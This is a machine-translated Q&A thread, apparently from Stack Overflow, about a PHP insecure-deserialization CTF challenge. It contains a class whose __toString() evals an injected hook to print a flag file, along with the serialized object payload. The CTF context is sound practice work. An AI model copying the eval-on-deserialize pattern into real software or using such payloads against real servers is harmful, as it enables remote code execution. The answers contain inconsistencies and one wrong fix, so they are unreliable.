我正在做一个CTF挑战,它涉及PHP中不安全的反序列化。目的是通过将代码注入反序列化来打印标志,以执行print_flag()
函数。我怀疑即使调用exit()
,Web服务器也只会打印脚本回显的最后一行,该行会覆盖标志的输出。
提供了一部分在网络服务器上运行的php代码。我已经在自己的php脚本中实现了它,以找出有效的方法和无效的方法。我已经成功地序列化了反序列化时执行代码的对象。通过调用exit(print_flag());
,标志将被打印,而没有任何进一步的错误……至少在我的脚本中。当我将序列化的对象发送到Web服务器时,它仍然会打印出更多错误。
此外,我尝试从注入的代码返回一个字符串。那也不行。
function print_flag() {
print file_get_contents('/var/flag/flag.txt');
}
class Example2
{
private $hook;
function __construct() {
$this->hook = "exit(print_flag());";
}
function __toString()
{
if (isset($this->hook)) eval($this->hook);
}
}
$flag = new Example2();
$serialized = serialize($flag);
print "$serialized\r\n";
$deserialized = unserialize($serialized);
该代码与挑战中显示的代码相似,但经过修改后对我有用。
我希望代码仅返回标志。在我自己的计算机上执行脚本时,输出为:
O:8:“ Example2”:1:{s:14:“ Example2 hook”; s:19:“ exit(print_flag());”;} 这是旗帜
当我不使用exit()
进行呼叫时:
PHP可恢复的致命错误:方法示例2 :: __ toString()必须 在第39行的../phpObjInj.php中返回一个字符串值。
网络服务器返回:
可捕获的致命错误:方法示例2 :: __ toString()必须返回一个 第79行的/var/www/index.php中的字符串值
如何停止打印错误?
答案 0 :(得分:0)
由于unserialize($flag);
导致发生错误。由于unserialize()
的参数应该是字符串,因此它将尝试将Example2
对象转换为字符串。您可能打算使用unserialize($serialized);
。
但更一般而言,您应确保__toString()
方法返回字符串。如果您不关心它是什么,则可以返回一个空字符串。
function __toString()
{
if (isset($this->hook)) eval($this->hook);
return "";
}
当您在钩子中插入exit()
时,不会发生此错误,因为脚本在__toString()
方法返回之前退出,因此它永远不会检查返回值。
exit()
之后什么也没有执行。操作顺序如下:
new Example2
-创建新对象serialize($flag)
-创建代表对象的字符串print "$serialized\r\n";
-打印以上字符串上述步骤均不需要调用__toString()
,因此该挂钩尚未执行。
deserialize($flag)
-这需要将$flag
转换为字符串,以便可以将其解析为序列化数据。
$flag->__toString()
eval($this->hook)
print_flag()
,它会显示标志exit()
,这会终止脚本因此,您看到打印了序列化的对象,然后打印了标志,然后由于exit()
而没有其他内容。
要演示此漏洞,应使用正确的参数调用unserialize()
。
$deserialized = unserialize($seralized);
echo $deserialized;
此echo
语句将导致调用__toString()
方法。然后将退出脚本,并且您不会收到错误消息。
答案 1 :(得分:0)
删除构造函数function __construct()
中的双引号
代替
function __construct() {
$this->hook = "exit(print_flag());";
}
使用
function __construct() {
$this->hook = exit(print_flag());
}